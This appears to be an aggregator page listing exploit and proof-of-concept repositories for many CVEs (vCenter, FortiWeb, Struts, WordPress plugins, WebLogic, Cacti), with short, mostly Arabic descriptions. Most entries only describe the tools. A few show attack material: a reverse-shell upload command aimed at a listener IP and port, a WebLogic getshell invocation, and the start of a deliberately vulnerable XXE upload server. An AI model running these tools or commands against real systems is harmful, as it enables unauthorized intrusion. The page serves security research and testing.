cve-2021-22005-exp

cve-2021-22005-exp 0x01 مقدمة الثغرة في 21 سبتمبر 2021، أصدرت VMware نشرة أمنية، كشفت عن 19 ثغرة أمنية في vCenter Server، بمدى تقييم CVSSv3 من 4.3 إلى 9.8. من بينها، الثغرة الأكثر خطورة هي ثغرة رفع الملفات التعسفي في vCenter Server CVE-2021-22005، وتوجد هذه الثغرة في خدمة التحليل في vCenter Serve...

CVE-2025-25257

CVE-2025-25257 - أداة فحص واستغلال ثغرة FortiWeb أداة مبنية بلغة Python لفحص واستغلال ثغرة CVE-2025-25257 في أجهزة FortiWeb. تتيح هذه الثغرة حقن SQL وتنفيذ أكواد عن بُعد عبر ترويسة Authorization مصممة خصيصًا. 📋 الوصف CVE-2025-25257 هي ثغرة حرجة في أجهزة FortiWeb تتيح: حقن SQL عبر ترويسة...

CVE-2023-25202

CVE-2023-25202: آلية رفع ملفات غير آمنة الوصف يتعلق CVE-2023-25202 بآلية رفع ملفات غير آمنة داخل تطبيق Therefore، وهي متساهلة بشكل مفرط في أنواع الملفات التي يمكن للمستخدمين رفعها. يمنع التطبيق رفع ملفات HTML وEXE وBAK فقط، مما يتركه عرضة لرفع ملفات تقنية مثل PHP وASP وASPX وJSP. يمكن أن تسمح هذه...

CVE-2022-29622

CVE-2022–29622: تحليل عدم الثغرة الأمنية تم إنشاء هذه القاعدة البرمجية لمساعدة محترفي الأمن والمطورين على فهم لماذا أعتقد أن Formidable لم يكن عرضة لـ CVE-2022-29622. لقد كتبت تحليلي هنا: تحليل عدم الثغرة الأمنية CVE-2022–29622 نظرًا لأن البعض لم يفهمه، فكرت في توضيح وجهة نظري باستخدام كود فعلي ق...

FallingSkies-CVE-2023-35885

CVE-2023-35885 Exploit 0-day de Cloudpanel Auteur : @EagleTube, @Mzulfahmy, @farphalabs Github : https://github.com/datackmy/FallingSkies-CVE-2023-35885/blob/main/ Version affectée : v2.0.0 – v2.3.0 Version corrigée : v2.3.1 Page d'accueil du fournisseur : CloudPanel.io Produit : CloudPanel...

CVE-2023-50164-Apache-Struts-RCE

يحتوي على ملف WAR قابل للاستغلال وملف docker file يمكن استخدامهما لاختبار CVE-2023-50164-Apache-Struts-RCE. هذا dockerfile والتطبيق القابل للاستغلال تم تجميعهما وتصميمهما باستخدام موارد ورمز من https://github.com/jakabakos/CVE-2023-50164-Apache-Struts-RCE. شكرًا له على هذا المورد والاستغلال...

CVE-2026-57827

CVE-2026-57827 سكربت كشف واستغلال CVE-2026-57827 لرفع ملفات غير مصرح به في Joomla RSFiles...

ResponsiveFileManager-CVE-2022-46604

ResponsiveFileManager-CVE-2022-46604 إصدار Responsive FileManager v.9.9.5 عرضة للثغرة CVE-2022-46604 تجاوز امتداد إنشاء الملف والذي يؤدي إلى تنفيذ التعليمات البرمجية عن بُعد RCE. الاستغلال الحالي مكتوب بلغة Python 3 ويستغل الثغرة لرفع webshell يتيح تنفيذ الأوامر عن بُعد على المضيف المستضعف. المرا...

CVE-2024-25641

Cacti CVE-2024-25641 إثبات المفهوم PoC لرفع الحزمة المُوثَّق وتنفيذ الأوامر عن بُعد RCE هذا البرنامج النصي هو إثبات مفهوم PoC لاستغلال الثغرة CVE-2024-25641 في Cacti، وهي أداة مراقبة قائمة على الويب. يقوم البرنامج النصي بأتمتة عملية المصادقة مع التطبيق، رفع حزمة ضارة، وتشغيل قوقعة عكسية. المتطلبا...

exploit-CVE-2017-7494

استغلال SambaCry RCE لـ Samba 4.5.9 Samba هو إعادة تنفيذ مجاني لبروتوكول الشبكات SMB/CIFS. يوفر Samba خدمات الملفات والطباعة لمختلف عملاء Microsoft Windows ويمكنه التكامل مع مجال Microsoft Windows Server، إما كمراقب مجال DC أو كعضو في المجال. اعتبارًا من الإصدار 4، يدعم Active Directory ومجالات...

CVE-2019-8942

CVE-2019-8942 و CVE-2019-8943: WordPress RCE بصلاحية author نظرة عامة CVE-2019-8942 هو ثغرة تستغل خطأ LFI مع ميزة رفع الملفات File Upload لتنفيذ أوامر RCE على خادم ووردبريس بصلاحية author. الإصدارات المتأثرة من ووردبريس هي قبل 4.9.9 و5.x حتى قبل 5.0.1، مما يسمح بتنفيذ كود عن بُعد لأن قيمة...

commix

English • Ελληνικά • Español • Français • فارسی • Bahasa Indonesia • Türkçe Commix short for command injection exploiter is an open source penetration testing tool, written by Anastasios Stasinopoulos @ancst, that automates the detection and exploitation of command and code injection...

CVE-2023-33733

CVE-2023-33733 على Reportlab v3.6.12 تم إعداد هذا المختبر لاختبار CVE-2023-33733. عملية التحليل يمكنك الاطلاع على عملية التحليل الخاصة بنا حول هذه الثغرة في ملف PDF الموجود في المستودع الرئيسي. الإعداد والتشغيل الخادم الإعداد pip3 install -r requirements.txt التشغيل python3 app.py المهاجم الاتصال...

CVE-2020-24186_reverse_shell_upload

CVE-2020-24186 رفع شيل عكسي استغلال لـ WpDiscuz 7.0.4 يستند إلى الاستغلال الذي كتبه h3v0x. يستغل الثغرة ويرفع شيل PHP عكسي. كان الإلهام من تحدي Blogger CTF. exploit.py -u http://192.168.1.81/blog -p /wordpress/2021/06/blogpost -l '192.168.1.9' -s 9001 مثال للاستخدام:...

CVE-2026-11112-XXE-via-SVG-Image-Upload

CVE-2026-11112 – ثغرة XXE عبر رفع صور SVG كود البرنامج Python Flask + XML parser xxeuploadserver.py - Uploads SVG, renders with lxml resolving entities from flask import Flask, request from lxml import etree app = Flaskname @app.route'/upload', methods='POST' def uploadsvg: svgdata = request.data...

Better-CVE-2022-29464

Better CVE-2022-29464 تسمح بعض منتجات WSO2 برفع الملفات دون قيود مما يؤدي إلى تنفيذ تعليمات برمجية عن بُعد. يجب على المهاجم استخدام نقطة نهاية /fileupload مع تسلسل اجتياز الدليل Content-Disposition للوصول إلى دليل تحت جذر الويب، مثل ../../../../repository/deployment/server/webapps. الاستخدام...

CVE-2018-2628

CVE-2018-2628 إعادة إنتاج ثغرة إلغاء التسلسل في WebLogic الحصول على شل على WebLogic python CVE-2018-2628-Getshell.py ip port shell1.jsp C:\Users\CTF\Desktoppython CVE-2018-2628-Getshell.py 10.10.20.166 7001 jason1.jsp / \ \ / / | | \ / / |/ \ | \ / /| \ / \ | | \ \ / /| | | | | || | | / / | | | |...

exploit_cve-2021-29447

exploitcve-2021-29447 لأغراض تعليمية فقط. من المفترض أن تكون هذه الأداة أداة مريحة حقاً للحصول على أي ملف من خادم يعمل بنظام WordPress 5.6.2 و php8. انظر https://wpscan.com/vulnerability/cbbe6c17-b24e-4be4-8937-c78472a138b5 كل ما تحتاجه هو وصول أساسي إلى wp-admin والقدرة على رفع ملف وسائط. سيقوم...

CVE-2023-33253

CVE-2023-33253 يسمح LabCollector من الإصدار 6.0 إلى 6.15 بتنفيذ التعليمات البرمجية عن بُعد يمكن لمستخدم مصادق عليه عن بُعد ذو صلاحيات منخفضة رفع ملف PHP قابل للتنفيذ وتنفيذ أوامر النظام. تقع الثغرة في وظيفة الرسالة، وهي ناتجة عن عدم كفاية التحقق من صحة الملف مثل shell.jpg.php.shell الذي يتم إرسال...

CVE-2026-1357

CVE-2026-1357 — WPvivid Backup & Migration RCE رفع ملفات تعسفي غير مصادَق عليه → تنفيذ أكواد عن بُعد الحقل| القيمة ---|--- CVE| CVE-2026-1357 CVSS| 9.8 حرجة الإضافة| WPvivid Backup & Migration المتأثر| ≤ 0.9.123 المُصحَّحة| 0.9.124 اكتشفها| Lucas Montes NiRoX PoC بواسطة| halilkirazkaya نظرة عامة...